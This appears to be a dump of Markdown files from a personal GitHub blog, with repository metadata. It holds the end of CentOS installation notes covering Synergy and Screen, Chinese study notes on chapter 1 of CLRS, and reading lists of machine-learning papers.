\"Development Tools\"\n $ sudo yum -y install epel-release cmake3 boost-static git libXtst-devel qt5-qtbase-devel qt5-qtdeclarative-devel libcurl-devel openssl-devel\n ```\n\n2. ไธ‹่ฝฝ rpm ๅŒ…๏ผˆๅฆ‚ `synergy_1.10.1-91.stable.8941241e.centos.el7.x86_64.rpm` ๏ผ‰ๅŽ๏ผŒๅœจ็›ธๅบ”็›ฎๅฝ•ไธญๆ‰ง่กŒไธ‹ๆ–นไปฃ็ ๏ผš\n\n ```shell\n $ sudo rpm -ivh synergy_1.10.1-91.stable.8941241e.centos.el7.x86_64.rpm\n ```\n\n3. ็ฌฌไธ€ๆฌกๆ‰“ๅผ€ Synergy ไผš้œ€่ฆ่พ“ๅ‡บ Synergy 1 ็š„ serial keyใ€‚๏ผˆๅœจ่‡ชๅทฑ็š„่ดฆๆˆท(*[email protected]*)ไธญๅฏๆŸฅ่ฏข๏ผ‰\n\n4. Centos ไฝœไธบๅฎขๆˆท็ซฏ็š„้…็ฝฎๆณจๆ„ไบ‹้กน๏ผš\n\n - ๆœๅŠกๅ™จ็ซฏๅ’Œๅฎขๆˆท็ซฏ้ƒฝ่ฆๅ…ณ้—ญ `TLS Encrption`ใ€‚\n\n - ๆœๅŠกๅ™จ็ซฏๅ…ˆ่ฆโ€œ่ฎพ็ฝฎๆœๅŠก็ซฏโ€๏ผŒๆทปๅŠ ๆ–ฐๅฎขๆˆท็ซฏๅˆฐ็ฝ‘ๆ ผไธญ๏ผŒๅนถไธ”่ฎพ็ฝฎๅ…ถ\"ๅ็งฐ\"๏ผ›ๅœจๅฎขๆˆท็ซฏไธญ่ฎพๅฎš่ฏฅโ€œๅฑๅน•ๅ็งฐโ€่ฆไธŽโ€œๅ็งฐโ€ไธ€่‡ดใ€‚\n\n - ๅฎขๆˆท็ซฏ็š„่ฎพ็ฝฎไธญ๏ผŒๅ…ณ้—ญ `Auto Config`๏ผŒๅนถไธ”ๅกซๅ†™็š„ๆœๅŠกๅ™จ็ซฏ ip ๅœฐๅ€่ฆๅ’ŒๆœๅŠกๅ™จไธŠ็š„ Synergy ็š„ IP ๅœฐๅ€ไธ€่‡ด๏ผˆๆˆ–่ฆไธŽๆœๅŠกๅ™จ็ซฏไธŠ็š„ `$ ifconfig` ๆŸฅ่ฏข็š„ ip ๅœฐๅ€ไธ€่‡ด๏ผ‰\n\n - ๅ…ˆๅผ€ๅง‹่ฟ่กŒๆœๅŠกๅ™จ็ซฏ็š„ Synergy๏ผŒ็„ถๅŽๅ†่ฟ่กŒๅฎขๆˆท็ซฏ็š„ Synergyใ€‚\n\n\n\n\n## 14. Floydhub\n\n\n\n\n\n## 15. Screen\n\n```bash\n$ yum install screen\n```\n\n\n\n๏ผˆๆŒ็ปญๆ›ดๆ–ฐไธญใ€‚ใ€‚ใ€‚ใ€‚๏ผ‰\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Centos7_CUDA_9.2_cuDNN_7.3_mxnet_cu92_Floydhub_MyInstallitionNotes.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.6571888327598572, "alphanum_fraction": 0.6909871101379395, "avg_line_length": 22.871795654296875, "blob_id": "b4238c6acf6f5556c20bbab918854ae59db1f013", "content_id": "15c4a617ba891466f7d84b74f75a4fe6f872744b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2534, "license_type": "no_license", "max_line_length": 394, "num_lines": 78, "path": "/blog/books/CLRS_1.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ็ฌฌ1็ซ  ็ฎ—ๆณ•ๅœจ่ฎก็ฎ—ไธญ็š„ไฝœ็”จ\ndate: 2018-09-06\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](./CLRS.html)\n\n---\n\n\n\n[TOC]\n\n\n\n# ็ฌฌไธ€้ƒจๅˆ† ๅŸบ็ก€็Ÿฅ่ฏ†\n\n\n\n## ็ฌฌ1็ซ  ็ฎ—ๆณ•ๅœจ่ฎก็ฎ—ไธญ็š„ไฝœ็”จ\n\n\n\n### 1.1 ็ฎ—ๆณ•\n\n- **็ฎ—ๆณ•๏ผˆalgorithm๏ผ‰**ๅฐฑๆ˜ฏไปปไฝ•่‰ฏๅฎšไน‰็š„่ฎก็ฎ—่ฟ‡็จ‹๏ผŒ่ฏฅ่ฟ‡็จ‹ๅ–ๆŸไธชๅ€ผๆˆ–ๅ€ผ็š„้›†ๅˆไฝœไธบ**่พ“ๅ…ฅ**ๅนถไบง็”ŸๆŸไธชๅ€ผๆˆ–ๅ€ผ็š„้›†ๅˆไฝœไธบ**่พ“ๅ‡บ**ใ€‚\n\n```mermaid\ngraph LR\n\n ่พ“ๅ…ฅ -->|็ฎ—ๆณ•| E[่พ“ๅ‡บ]\n```\n\n- **ๆŽ’ๅบ**ๆ˜ฏ่ฎก็ฎ—ๆœบ็ง‘ๅญฆไธญไธ€ไธชๅŸบๆœฌๆ“ไฝœใ€‚\n- โ€œ็ฎ—ๆณ•โ€ๆœ‰ๅˆซไบŽ\"็จ‹ๅบ\"็š„ไธ€็‚น๏ผš็ฎ—ๆณ•้ƒฝไปฅๆญฃ็กฎ็š„่พ“ๅ‡บ**ๅœๆœบ**ใ€‚\n- **ๆ•ฐๆฎ็ป“ๆž„**ๆ˜ฏไธ€็งๅญ˜ๅ‚จๅ’Œ็ป„็ป‡ๆ•ฐๆฎ็š„ๆ–นๅผใ€‚\n- ๆฒกๆœ‰ไปปไฝ•ไธ€็งๅ•ไธ€็š„**ๆ•ฐๆฎ็ป“ๆž„**ๅฏนๆ‰€ๆœ‰็”จ้€”ๅ‡ๆœ‰ๆ•ˆใ€‚\n\n\n\n### 1.2 ไฝœไธบไธ€็งๆŠ€ๆœฏ็š„็ฎ—ๆณ•\n\n- ไธบๆฑ‚่งฃ็›ธๅŒ้—ฎ้ข˜่€Œ่ฎพ่ฎก็š„ไธๅŒ็ฎ—ๆณ•ๅœจ**ๆ•ˆ็Ž‡**ๆ–น้ขๅธธๅธธๅ…ทๆœ‰ๆ˜พ่‘—็š„ๅŒบๅˆซใ€‚่ฟ™ไบ›ๅทฎๅˆซๅฏ่ƒฝๆฏ”็”ฑไบŽ็กฌไปถๅ’Œ่ฝฏไปถ้€ ๆˆ็š„ๅทฎๅˆซ่ฆ้‡่ฆๅพ—ๅคšใ€‚\n- **ๆ’ๅ…ฅๆŽ’ๅบ**๏ผˆๆ‰€่Šฑๆ—ถ้—ด๏ผš$c_1n^2$๏ผ‰ๅœจๆ•ฐๆฎ่ง„ๆจก่พƒๅฐๆ—ถ๏ผŒๆฏ”**ๅฝ’ๅนถๆŽ’ๅบ**๏ผˆๆ‰€่Šฑๆ—ถ้—ด๏ผš$c_2n\\log n$๏ผ‰ ้€Ÿๅบฆ่ฆๅฟซ๏ผ›ไฝ†ๅœจๆ•ฐๆฎ่ง„ๆจก่พƒๅคงๆ—ถ๏ผŒๅฝ’ๅนถๆŽ’ๅบ็š„็›ธๅฏนไผ˜ๅŠฟไผšๅขžๅคงใ€‚\n- ๅœจ่พƒๅคง้—ฎ้ข˜่ง„ๆจกๆ—ถ๏ผŒ็ฎ—ๆณ•ไน‹้—ดๆ•ˆ็Ž‡็š„ๅทฎๅˆซๆ‰ๅ˜ๅพ—็‰นๅˆซๆ˜พ่‘—ใ€‚\n\n\n\n### ็ปƒไน \n\n<iframe src=\"http://nbviewer.jupyter.org/github/iphysresearch/Introduction_to_Algorithms_solution/blob/master/CLRS_1.ipynb\" width=\"850\" height=\"500\"></iframe>\n\nRef: [solutions of Ch1 to \"*Introduction to Algorithms*\"](http://sites.math.rutgers.edu/~ajl213/CLRS/Ch1.pdf)\n<iframe src=\"http://sites.math.rutgers.edu/~ajl213/CLRS/Ch1.pdf\" style=\"width:1000px; height:500px;\" width=\"100%\" height=50%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"http://sites.math.rutgers.edu/~ajl213/CLRS/Ch1.pdf\">Download PDF</a></iframe>\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](./CLRS.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CLRS_1.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.760879397392273, "alphanum_fraction": 0.7703989148139954, "avg_line_length": 97.06666564941406, "blob_id": "b08116409726df59c730f76fccbafc43caeb8b99", "content_id": "bea55e1d0bdaa8548d0d31d23358f9e905bea099", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4467, "license_type": "no_license", "max_line_length": 748, "num_lines": 45, "path": "/blog/paper_summary/APaperADay_.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n------\n\n\n\n# #APaperADay AI Reading Challenge\n\nhttps://apaperaday.nurture.ai\n\n\n\n## July 23 - July 29\n\n- **[PAPER OF THE WEEK]**ย ย ***Neural Best-Buddies: Sparse Cross-Domain Correspondence***ย ***([2-min summary](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/neural-best-buddies-sparse-cross-domain-correspondence/tldr))*** **Why read:**ย Well-written paper that presents a way to relate two images from different categories, leading to image morphing applications.ย **Key concept**: finding pairs of neurons (one from each image) that are \"buddies\" (nearest neighbors). [ArXiv: 1805.04140](https://arxiv.org/abs/1805.04140)\n\n > MyTweet: \n >\n > (MARK: **Image correspondence**ย tasks involve finding a set of points in one image which can be identified as the same points in another image) A key concept in their method is the search for **Neural Best Buddies** (NBB), i.e pairs of neurons (one from each image) that are mutual nearest neighbors. The idea may be helpful for us to interpret or measure the similarity of any inputs.\n\n- **[TOP RECENT]**ย ย **The GAN Landscape: Losses, Architectures, Regularization, and Normalizationย ([paper](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/the-gan-landscape-losses-architectures-regularization-and-normalization/info),ย [prereq & dependencies](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/the-gan-landscape-losses-architectures-regularization-and-normalization/annotations))**ย  **Why read:**ย Evaluation of GAN loss functions, optimization schemes and architectures using latest empirical methods.ย **Interesting takeaway:**ย authors wrote that most tricks applied in the ResNet style architectures lead to marginal changes and incurs high computational cost.ย [arXiv:1807.04720](https://arxiv.org/abs/1807.04720)\n\n > MyTweet:\n >\n > Really impressed by the performance of **Spectral Normalization**(SN) in the paper\"The GAN Landscape: Losses, Architectures, Regularization, and Normalization\", I think, which may contain an unknown but fundamental concept in **spectral** space.\n\n- **[HIDDEN GEM]**ย ย **A Meta-Learning Approach to One-Step Active-Learning ([paper](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/a-meta-learning-approach-to-one-step-active-learning/info),[prereqs & dependencies](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/a-meta-learning-approach-to-one-step-active-learning/annotations))**ย  **Why read:**ย An under-discussed method to deal with scarce labelled data: a classification model that learns how to label its own training data.ย **The novelty.**ย It combines one-shot learning (learning from one or few training examples) with active learning (choosing the appropriate data points to be labelled). \n\n > MyTweet:\n\n- **[MOST POPULAR]**ย ย **Visual Reinforcement Learning with Imagined Goals ([paper](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/visual-reinforcement-learning-with-imagined-goals/info))**ย  **Why read:**ย An interesting way of teaching a model to acquire general-purpose skills. The model performs a self-supervised โ€œpracticeโ€ phase where it imagines goals and attempts to achieve them.ย **The novelty:**ย a goal relabelling method that improves sampling efficiency. \n\n > MyTweet:\n\n- **[MUST READ]**ย ย **Universal Language Model Fine-tuning for Text Classification ([paper](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/universal-language-model-fine-tuning-for-text-classification/info))**ย  **Why read:**ย Transfer Learning has not been widely explored in NLP problems until this paper, which explores the benefits of using a pre-trained model on text classification.ย **Key result:**ย Along with various fine-tuning tricks, this method outperforms the state-of-the-art on six text classification tasks.ย \n\n > MyTweet:\n\n- **[MUST READ]**ย ย ย **Interpretability Beyond Feature Attribution: Quantitative Testing with Concept Activation Vectors ([2-min summary](https://apaperaday.nurture.ai/clkn/https/nurture.ai/papers/interpretability-beyond-feature-attribution-quantitative-testing-with-concept-activation-vectors-tcav/tldr))Why read:**ย A new method that helps us to interpret NN decisions and also reveal unintended gender and racial biases in NN models.ย **The novelty.**ย Gauges the sensitivity of ML predictions to changes in inputs towards the direction of a concept.ย \n\n > MyTweet:\n\n- [MY OWN CHOICE]\n\n > MyTweet:" }, { "alpha_fraction": 0.6398826241493225, "alphanum_fraction": 0.7312825322151184, "avg_line_length": 82.98371887207031, "blob_id": "3a174540923c441e315c837eabd660b20d273c2f", "content_id": "41037c322aa184b337f33c7b4b8b5f8a32e2d078", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 36202, "license_type": "no_license", "max_line_length": 539, "num_lines": 430, "path": "/blog/paper_summary/APaperADay-NSConflict-Herb-mac10.14.1.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: A Paper A Day\ndate: 2018-09-28\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ Paper Summary](./index.html)\n\n---\n\n![](https://i.loli.net/2018/09/28/5bad80bf9e4bf.png)\n\n---\n\n\n\n# :pencil2: A Paper A Day\n\n> Felt like I wasnโ€™t reading enough โ€“ and what I was reading wasnโ€™t sinking in enough. I also wanted to keep track of my sources in a more controlled manner. As a part of adding everything to my JabRef (maybeโ€ฆ), I figured I would write up my comments on papers. \n>\n> The goal is to read and comment once a day and this [post](./APaperADay.html) will be updated day by day according to the reading process.\n\n[TOC]\n\n## :repeat: Generative Models\n\n**A Probe into Understanding GAN and VAE models**. J Zhang, L Mi, M Shen [MIT] (2018) [arXiv:1812.05676](https://arxiv.org/abs/1812.05676)\n\n**A Style-Based Generator Architecture for Generative Adversarial Networks**. T Karras, S Laine, T Aila [NVIDIA] (2018) [arXiv:1812.04948](https://arxiv.org/abs/1812.04948) [Code](https://docs.google.com/document/d/1SDbnM1nxLZNuwD8fQkIigUve_SlihgoCmvjN3e388Us/edit) [YouTube](https://www.youtube.com/watch?v=kSLJriaOumA) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650753854&idx=4&sn=683d862b174cb26c01c1e4d7541498d7)\n\n**Intra-class Variation Isolation in Conditional GANs**. R T. Marriott, S Romdhani, L Chen [Ecole Centrale de Lyon & IDEMIA] (2018) [arXiv:1811.11296](https://arxiv.org/abs/1811.11296)\n\n**Metropolis-Hastings Generative Adversarial Networks**. R Turner, J Hung, Y Saatci, J Yosinski [Uber AI Labs] (2018) [arXiv:1811.11357](https://arxiv.org/abs/1811.11357) [Github](https://github.com/uber-research/metropolis-hastings-gans) [Blog](https://eng.uber.com/mh-gan/)\n\n**Label-Noise Robust Generative Adversarial Networks**. Takuhiro Kaneko, Yoshitaka Ushiku, Tatsuya Harada [The University of Tokyo & RIKEN] (2018) [arXiv:1811.11165](https://arxiv.org/abs/1811.11165)\n\n**Do GAN Loss Functions Really Matter?**. Y Qin, N Mitra, P Wonka [KAUST & UCL] (2018) [arXiv:1811.09567](https://arxiv.org/abs/1811.09567) [Reddit](https://www.reddit.com/r/MachineLearning/comments/a0p9wg/r_do_gan_loss_functions_really_matter/)\n\n**Copy the Old or Paint Anew? An Adversarial Framework for (non-) Parametric Image Stylization**. N Jetchev, U Bergmann, G Yildirim [Zalando Research] (2018) [arXiv:1811.09236](https://arxiv.org/abs/1811.09236) [GitHub](https://github.com/zalandoresearch/famos)\n\n**Guiding the One-to-one Mapping in CycleGAN via Optimal Transport**. G Lu, Z Zhou, Y Song, K Ren, Y Yu [Shanghai Jiao Tong University] (2018) [arXiv:1811.06284](https://arxiv.org/abs/1811.06284)\n\n**NEMGAN: Noise Engineered Mode-matching GAN**. D Mishra, P AP, A J, P Pandey, S Chaudhury [Indian Institute of Technology Delhi] (2018) [arXiv:1811.03692](https://arxiv.org/abs/1811.03692) [GitHub](https://github.com/NEMGAN/NEMGAN)\n\n**Bias and Generalization in Deep Generative Models: An Empirical Study**. S Zhao, H Ren, A Yuan, J Song, N Goodman, S Ermon [Stanford University] ([ICML2018](https://sites.google.com/view/tadgm/home?authuser=0)) [arXiv:1811.03259](https://arxiv.org/abs/1811.03259) [GitHub](https://github.com/ermongroup/BiasAndGeneralization)\n\n**Language GANs Falling Short**. Massimo Caccia, Lucas Caccia, William Fedus, Hugo Larochelle, Joelle Pineau, Laurent Charlin [MILA, Universiteฬ de Montreฬal & MILA, McGill University & MILA, HEC Montreฬal & Google Brain & Facebook AI Research] (2018) [arXiv:1811.02549](https://arxiv.org/abs/1811.02549v3)\n\n**CariGANs: Unpaired Photo-to-Caricature Translation**. K Cao, J Liao, L Yuan [Tsinghua University & Microsoft Research] (2018) [arXiv:1811.00222](https://arxiv.org/abs/1811.00222) [Blog](https://cari-gan.github.io) [App](https://ai.stanford.edu/~kaidicao/cari-gan/index.html) [YouTube](https://www.youtube.com/watch?v=V6G717ewUuw)\n\n**Large Scale GAN Training for High Fidelity Natural Image Synthesis** | [OpenReview](https://openreview.net/forum?id=B1xsqj09Fm). (2018) \n\n**Generative adversarial networks and adversarial methods in biomedical image analysis**. J M. Wolterink, K Kamnitsas, C Ledig, I Iลกgum [University Medical Center Utrecht & Imperial College London & Imagen Technologies] (2018) [arXiv:1810.10352](https://arxiv.org/abs/1810.10352)\n\n**Do Deep Generative Models Know What They Don't Know?**. E Nalisnick, A Matsukawa, Y W Teh, D Gorur, B Lakshminarayanan [DeepMind] (2018) [arXiv:1810.09136](https://arxiv.org/abs/1810.09136)\n\n**Discriminator Rejection Sampling**. Samaneh Azadi, Catherine Olsson, Trevor Darrell, Ian Goodfellow, Augustus Odena [UC Berkeley & Google Brain]. [arXiv:1810.06758](https://arxiv.org/abs/1810.06758)\n\n**Refacing: reconstructing anonymized facial features using GANs**. D Abramian, A Eklund [Linkoping University] (2018) [arXiv:1810.06455](https://arxiv.org/abs/1810.06455)\n\n**ClusterGAN : Latent Space Clustering in Generative Adversarial Networks**. S Mukherjee, H Asnani, E Lin, S Kannan [University of Washington] (2018) [arXiv:1809.03627](https://arxiv.org/abs/1809.03627)\n\n**Whispered-to-voiced Alaryngeal Speech Conversion with Generative Adversarial Networks**. Santiago Pascual, Antonio Bonafonte, Joan Serrร , Jose A. Gonzalez [Universitat Polite`cnica de Catalunya & Telefo ฬnica Research & Universidad de Ma ฬlaga, Spain] (2018) [arXiv:1808.10687](https://arxiv.org/abs/1808.10687)\n\n**The relativistic discriminator: a key element missing from standard GAN**. Alexia Jolicoeur-Martineau [Lady Davis Institute Montreal, Canada] (2018) [arXiv:1807.00734](https://arxiv.org/abs/1807.00734)\n\n**Do GANs learn the distribution? Some Theory and Empirics**. Sanjeev Arora, Andrej Risteski, Yi Zhang [Princeton University & MIT] (ICLR 2018) [OpenReview.net](https://openreview.net/forum?id=BJehNfW0-)\n\n**Do GANs actually learn the distribution? An empirical study**. Sanjeev Arora, Yi Zhang [] (2017) [arXiv:1706.08224](https://arxiv.org/abs/1706.08224) [Reddit](https://www.reddit.com/r/MachineLearning/comments/6jxes2/r_170608224_do_gans_actually_learn_the/) [Blog](http://www.offconvex.org/2017/07/06/GANs3/)\n\n**Generalization and Equilibrium in Generative Adversarial Nets (GANs)**. S Arora, R Ge, Y Liang, T Ma, Y Zhang [Princeton University & Duke University] (2017) [arXiv:1703.00573](https://arxiv.org/abs/1703.00573) [Blog](http://www.offconvex.org/2017/03/30/GANs2/) [Reddit](https://www.reddit.com/r/MachineLearning/comments/637u1l/r_generalization_and_equilibrium_in_generative/)\n\n**Improved Techniques for Training GANs**. Tim Salimans, Ian Goodfellow, Wojciech Zaremba, Vicki Cheung, Alec Radford, Xi Chen [OpenAI] (2016) [arXiv:1606.03498](https://arxiv.org/abs/1606.03498) [Github](https://github.com/openai/improved-gan) [Reddit](https://www.reddit.com/r/MachineLearning/comments/4o0aj9/160603498_improved_techniques_for_training_gans/)\n\n\n\n## :facepunch: Adversarial Examples/Attacks\n\n**Adversarial Transfer Learning**. G Wilson, D J. Cook [Washington State University] (2018) [arXiv:1812.02849](https://arxiv.org/abs/1812.02849)\n\n**Defensive Dropout for Hardening Deep Neural Networks under Adversarial Attacks**. S Wang, X Wang, P Zhao, W Wen, D Kaeli, P Chin, X Lin [Northeastern University & Boston university & Florida International University] (2018) [arXiv:1809.05165](https://arxiv.org/abs/1809.05165)\n\n**Are adversarial examples inevitable?**. A Shafahi, W. R Huang, C Studer, S Feizi, T Goldstein (2018) [arXiv:1809.02104](https://arxiv.org/abs/1809.02104)\n\n**Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples**. Anish Athalye, Nicholas Carlini, David Wagner [MIT & Berkeley] (2018) [arXiv:1802.00420](https://arxiv.org/abs/1802.00420) [Github](https://github.com/anishathalye/obfuscated-gradients)\n\n**Generating Natural Adversarial Examples**. Z Zhao, D Dua, S Singh [University of California, Irvine] (2017) [arXiv:1710.11342](https://arxiv.org/abs/1710.11342) [Github](https://github.com/zhengliz/natural-adversary) [comment]\n\n\n\n\n\n## :musical_note: Sound & Signal Processing\n\n**Deep Neural Networks for Automatic Classification of Anesthetic-Induced Unconsciousness**. Konstantinos Patlatzoglou, etc. [etc.] (2018) [PDF](./2018Patlatzoglou-DeepNeuralNetworks.pdf)\n\n**Using Convolutional Neural Networks to Classify Audio Signal in Noisy Sound Scenes**. M.V. Gubin [South Ural State University] (2018 GloSIC) [PDF](https://ieeexplore.ieee.org/abstract/document/8570117) [Github](https://github.com/gubinmv/cnn_in_noisy_scenes)\n\n**Interpretable Convolutional Filters with SincNet**. M Ravanelli, Y Bengio [Universitรฉ de Montrรฉal] (2018) [arXiv:1811.09725](https://arxiv.org/abs/1811.09725) [GitHub](https://github.com/mravanelli/SincNet/)\n\n**A Deep Neural Network for Unsupervised Anomaly Detection and Diagnosis in Multivariate Time Series Data**. C Zhang, D Song, Y Chen, X Feng, C Lumezanu, W Cheng, J Ni, B Zong, H Chen, N V. Chawla [University of Notre Dame & NEC Laboratories America & Columbia University] (2018) [arXiv:1811.08055](https://arxiv.org/abs/1811.08055)\n\n**Stochastic Adaptive Neural Architecture Search for Keyword Spotting**. T Vรฉniat, O Schwander, L Denoyer [Sorbonne Universitรฉ & Facebook AI Research] (2018) [arXiv:1811.06753](https://arxiv.org/abs/1811.06753) [GitHub](https://github.com/TomVeniat/SANAS)\n\n**Unifying Probabilistic Models for Time-Frequency Analysis**. W J. Wilkinson, M R Andersen, J D. Reiss, D Stowell, A Solin [Queen Mary University of London & Aalto University] (2018) [arXiv:1811.02489](https://arxiv.org/abs/1811.02489) [GitHub](https://github.com/wil-j-wil/unifying-prob-time-freq)\n\n**WaveGlow: A Flow-based Generative Network for Speech Synthesis**. Ryan Prenger, Rafael Valle, Bryan Catanzaro [NVIDIA Corporation] (2018) [arXiv:1811.00002](https://arxiv.org/abs/1811.00002) [Github](https://github.com/NVIDIA/waveglow)\n\n**Training neural audio classifiers with few data**. J Pons, J Serrร , X Serra [Telefonica Research & Universitat Pompeu Fabra] (2018) [arXiv:1810.10274](https://arxiv.org/abs/1810.10274) [Github](https://github.com/jordipons/neural-classifiers-with-few-audio/)\n\n**End-to-end music source separation: is it possible in the waveform domain?**. F Lluรญs, J Pons, X Serra [Universitat Pompeu Fabra] (2018) [arXiv:1810.12187](https://arxiv.org/abs/1810.12187)\n\n**Multilevel Wavelet Decomposition Network for Interpretable Time Series Analysis**. Jingyuan Wang, Ze Wang, Jianfeng Li, Junjie Wu.[Beihang University] (2018) [arXiv:1806.08946](https://arxiv.org/abs/1806.08946)\n\n**Deep Convolutional Neural Networks On Multichannel Time Series For Human Activity Recognition**. Jian Bo Yang, Minh Nhut Nguyen, Phyo Phyo San, Xiao Li Li, Shonali Krishnaswamy (2015) [IJCAI2015](http://www.aaai.org/ocs/index.php/IJCAI/IJCAI15/paper/download/10710/11297)\n\n**Towards a universal neural network encoder for time series**. J Serrร , S Pascual, A Karatzoglou [Telefonica Research & Universitat Politecnica de Catalunya] (2018)\n\n**Sound Event Detection Using Spatial Features and Convolutional Recurrent Neural Network**. Sharath Adavanne, Pasi Pertilรค, Tuomas Virtanen [Tampere University of Technology] (DCASE 2017) [arXiv:1706.02291](https://arxiv.org/abs/1706.02291) [Github](https://github.com/sharathadavanne/multichannel-sed-crnn)\n\n**Time Series Classification Using Multi-Channels Deep Convolutional Neural Networks**. Yi Zheng, Qi Liu, Enhong Chen, Yong Ge, and J. Leon Zhao [USTC, et al.] (2014) [WAIM2014](http://staff.ustc.edu.cn/~cheneh/paper_pdf/2014/Yi-Zheng-WAIM2014.pdf)\n\n\n\n\n\n## :chart_with_downwards_trend: Optimization & Generalization\n\n**Towards Understanding the Role of Over-Parametrization in Generalization of Neural Networks**. B Neyshabur, Z Li... [Princeton & Toyota Technological Institute at Chicago & Facebook AI Research] (2018) [arXiv:1805.12076](https://arxiv.org/abs/1805.12076) [Github](https://github.com/bneyshabur/over-parametrization) [Reddit](https://www.reddit.com/r/MLEVN/comments/92u58v/towards_understanding_the_role_of/)\n\n**Visualizing the Loss Landscape of Neural Nets**. H Li, Z Xu, G Taylor, T Goldstein [University of Maryland & United States Naval Academy] (NIPS 2018) [arXiv:1712.09913](https://arxiv.org/abs/1712.09913) [Github](https://github.com/tomgoldstein/loss-landscape) [Reddit](https://www.reddit.com/r/MachineLearning/comments/7mr7j5/r_171209913_visualizing_the_loss_landscape_of/)\n\n**Gradient Descent Happens in a Tiny Subspace**. G Gur-Ari, D A. Roberts, E Dyer [Institute for Advanced Study & Facebook AI Research & Johns Hopkins University] (2018) [arXiv:1812.04754](https://arxiv.org/abs/1812.04754)\n\n**A Sufficient Condition for Convergences of Adam and RMSProp**. F Zou, L Shen, Z Jie, W Zhang, W Liu [Stony Brook University & Tencent AI Lab] (2018) [arXiv:1811.09358](https://arxiv.org/abs/1811.09358)\n\n**Stochastic Gradient Descent Optimizes Over-parameterized Deep ReLU Networks**. D Zou, Y Cao, D Zhou, Q Gu [University of California, Los Angeles] (2018) [arXiv:1811.08888](https://arxiv.org/abs/1811.08888)\n\n**Learning and Generalization in Overparameterized Neural Networks, Going Beyond Two Layers**. Z Allen-Zhu, Y Li, Y Liang [Microsoft Research AI & Stanford University & University of Wisconsin-Madison] (2018) [arXiv:1811.04918](https://arxiv.org/abs/1811.04918)\n\n**A Convergence Theory for Deep Learning via Over-Parameterization**. Z Allen-Zhu, Y Li, Z Song [Microsoft Research AI & Stanford University & UT-Austin] (2018) [arXiv:1811.03962](https://arxiv.org/abs/1811.03962)\n\n**Gradient Descent Finds Global Minima of Deep Neural Networks**. S S. Du, J D. Lee, H Li, L Wang, X Zhai [CMU & University of Southern California & Peking University & MIT] (2018) [arXiv:1811.03804](https://arxiv.org/abs/1811.03804)\n\n**Identifying Generalization Properties in Neural Networks**. H Wang, N S Keskar, C Xiong, R Socher [Salesforce Research] (2018) [arXiv:1809.07402](https://arxiv.org/abs/1809.07402)\n\n**Accelerating Natural Gradient with Higher-Order Invariance**. by Yang Song [Post](https://ermongroup.github.io/blog/geo/) 